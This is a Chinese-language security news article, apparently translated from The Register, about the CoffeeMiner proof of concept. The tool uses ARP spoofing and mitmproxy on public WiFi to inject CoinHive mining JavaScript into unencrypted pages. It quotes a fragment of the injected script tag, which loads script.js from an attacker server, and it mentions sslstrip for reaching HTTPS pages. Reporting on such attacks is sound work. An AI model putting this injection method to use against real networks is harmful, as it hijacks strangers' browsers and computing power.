聚焦源代码安全，网罗国内外最新资讯！
翻译：360代码卫士团队
比特币和其它密币的价格已经涨到让人瞠目结舌的地步，随之而来的就是密币挖矿代码已成为将认证和被盗计算周期转换为现金的一种常用机制。
反病毒和广告拦截厂商试图通过阻止尤其是浏览器中特别构造的代码劫持 CPU 时间应对这一行为。
现在不论是考虑违反计算机法律而牟利的人还是对计算机安全研究项目感兴趣的人，都有福了。一名西班牙开发人员 Arnau 公开了一个 PoC，演示如何黑掉公共 WiFi网络将密币挖矿嗲吗注入联网的浏览会话中。
这个项目是 CoffeeMiner，能让攻击者实施针对星巴克咖啡馆等的中间人攻击。CoffeeMiner 脚本旨在欺骗局域网中的地址解析协议 (ARP) 信息，拦截来自网络中其它设备的未加密流量。它通过使用名为 mitmproxy 的软件的中间人攻击将以下的 HTML 代码转变为非HTTPS，或者网络上其它设备所要求的非加密网页。
http://httpserverIP:8000/script.js</a>"type="text/javascript">
加载后，这些网页就会运行 JavaScript 并嗅探 CPU 时间通过 CoinHive 的密币挖矿软件生成门罗币。
Arnau 解释称，这种攻击仅在VirtualBox环境中演示过可以被自动化。已发布的版本无法处理 HTTPS 网页的请求，不过增加 sslstrip 后可解决这个问题。
PoC 代码基本用 Python 写成，已发布到GitHub 上。
关联阅读
恶意WiFi 捕获门户可欺骗Apple Pay获取用户信用卡数据
本文由360代码卫士编译，不代表360观点，转载请注明 “转自360代码卫士www.codesafe.cn”。
原文链接:
https://www.theregister.co.uk/2018/01/05/wi_fi_crypto_mining/